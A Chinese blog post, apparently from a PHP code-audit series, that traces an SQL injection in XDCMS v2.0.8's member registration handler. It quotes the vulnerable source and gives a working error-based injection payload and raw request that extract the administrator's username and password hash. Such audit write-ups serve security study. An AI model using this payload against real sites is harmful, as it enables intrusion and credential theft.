php代码审计【18】XDCMS 源码审计
程序员文章站
2022-05-19 18:20:10
...
一、搭建环境:
下载源码--》xdcms_v2.0.8.rar---》安装(我这里后台用户密码默认)
二、搭建好之后:
三、代码审计工具seay,直接搜$_GET(找前台的参数提交)
看到之后,跟进了safe_html:
function safe_html($str){
if(empty($str)){return;}
if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
}
基本上注入就不好构造了啊,那找找$_POST,
进去之后,这个变量有两个地方有,看第一个:
源码如下:
public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));
$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();
//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
//echo "input-->".$field_sql."<br/>";
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
echo "field_sql-->".$field_sql."<br/>";
//sleep(5);
$query=$this->mysql->query($field_sql);
//sleep(5);
showmsg(C('register_success'),'index.php?m=member&f=register');
}
可以看到是注册页面功能:
通过抓包(username=test1&password=test12&password2=test12&fields%5Btruename%5D=xdcmd1&fields%5Bemail%5D=xdcmd1bbb&submit=+%D7%A2+%B2%E1+):
可以推测,truename email参数可控。证实如下
关注查询函数,query
构造exp读取管理员的用户名密码:
update c_member set `truename`='qqqqqq',`email`='qq456' where userid=8 and (select 1 from (select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' where userid=36
在邮箱注册处填入:
jjjj' where userid=8 and (select 1 from (select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' where userid=36
抓包得到:
username=test1xssx&password=111111&password2=111111&fields%5Btruename%5D=111111&fields%5Bemail%5D=456%27+where+userid%3D8+and+%28select+1+from+%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2Cusername%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%2C0x27%2C0x7e%29+from+c_admin+limit+0%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29%23%27+where+userid%3D36&submit=+%D7%A2+%B2%E1+
得到浏览器反馈:
后台数据库:
哈哈哈哈哈哈哈哈哈哈哈哈,用了一天才弄完这个,继续,go go go go go